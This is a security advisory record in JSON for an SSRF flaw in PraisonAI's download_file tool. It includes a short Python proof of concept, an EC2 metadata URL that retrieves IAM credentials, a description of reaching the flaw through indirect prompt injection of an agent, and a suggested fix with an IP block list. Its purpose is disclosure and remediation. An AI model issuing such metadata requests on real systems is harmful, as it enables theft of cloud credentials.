{"id":"CVE-2026-34954","aliases":["GHSA-44c2-3rw4-5gvh","PYSEC-2026-2940"],"title":"PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL","summary":"PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL","severity":"high","cvss":8.6,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","vendor":"praisonaiagents","product":"praisonaiagents","ecosystem":"pip","affected":["praisonaiagents < 1.5.95"],"patched":["praisonaiagents 1.5.95"],"published":"2026-04-01","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-44c2-3rw4-5gvh","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-44c2-3rw4-5gvh"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34954"},{"url":"https://github.com/MervinPraison/PraisonAI"}],"tags":["osv","pip"],"epss":0.00407,"epssPercentile":0.32135,"ingestedAt":"2026-07-13T18:57:52.285Z","slug":"CVE-2026-34954","body":"## Overview\n\n### Summary\n\n`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.\n\n### Details\n\n`file_tools.py:259` (source) -> `file_tools.py:296` (sink)\n```python\n# source -- url taken directly from caller, no validation\ndef download_file(self, url: str, destination: str, ...):\n\n# sink -- unvalidated url passed to httpx with redirect following\n    with httpx.stream(\"GET\", url, timeout=timeout, follow_redirects=True) as response:\n```\n\n### PoC\n```bash\n# tested on: praisonaiagents==1.5.87 (source install)\n# install: pip install -e src/praisonai-agents\n# start listener: python3 -m http.server 8888\n\nimport os\nos.environ['PRAISONAI_AUTO_APPROVE'] = 'true'\nfrom praisonaiagents.tools.file_tools import download_file\n\nresult = download_file(\n    url=\"http://127.0.0.1:8888/ssrf-test\",\n    destination=\"/tmp/ssrf_out.txt\"\n)\nprint(result)\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n# writes IAM credentials to destination file\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `follow_redirects=True` enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.\n\n### Suggested Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\"127.0.0.0/8\"),\n    ipaddress.ip_network(\"169.254.0.0/16\"),\n    ipaddress.ip_network(\"10.0.0.0/8\"),\n    ipaddress.ip_network(\"172.16.0.0/12\"),\n    ipaddress.ip_network(\"192.168.0.0/16\"),\n]\n\ndef _validate_url(url: str) -> None:\n    parsed = urlparse(url)\n    if parsed.scheme not in (\"http\", \"https\"):\n        raise ValueError(f\"Scheme {parsed.scheme!r} not allowed\")\n    try:\n        addr = ipaddress.ip_address(parsed.hostname)\n        for net in BLOCKED_NETWORKS:\n            if addr in net:\n                raise ValueError(f\"Requests to {addr} are not permitted\")\n    except ValueError as e:\n        if \"does not appear to be\" not in str(e):\n            raise\n```\n\n## Affected packages\n\n- `praisonaiagents < 1.5.95`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonaiagents 1.5.95`","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":47.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}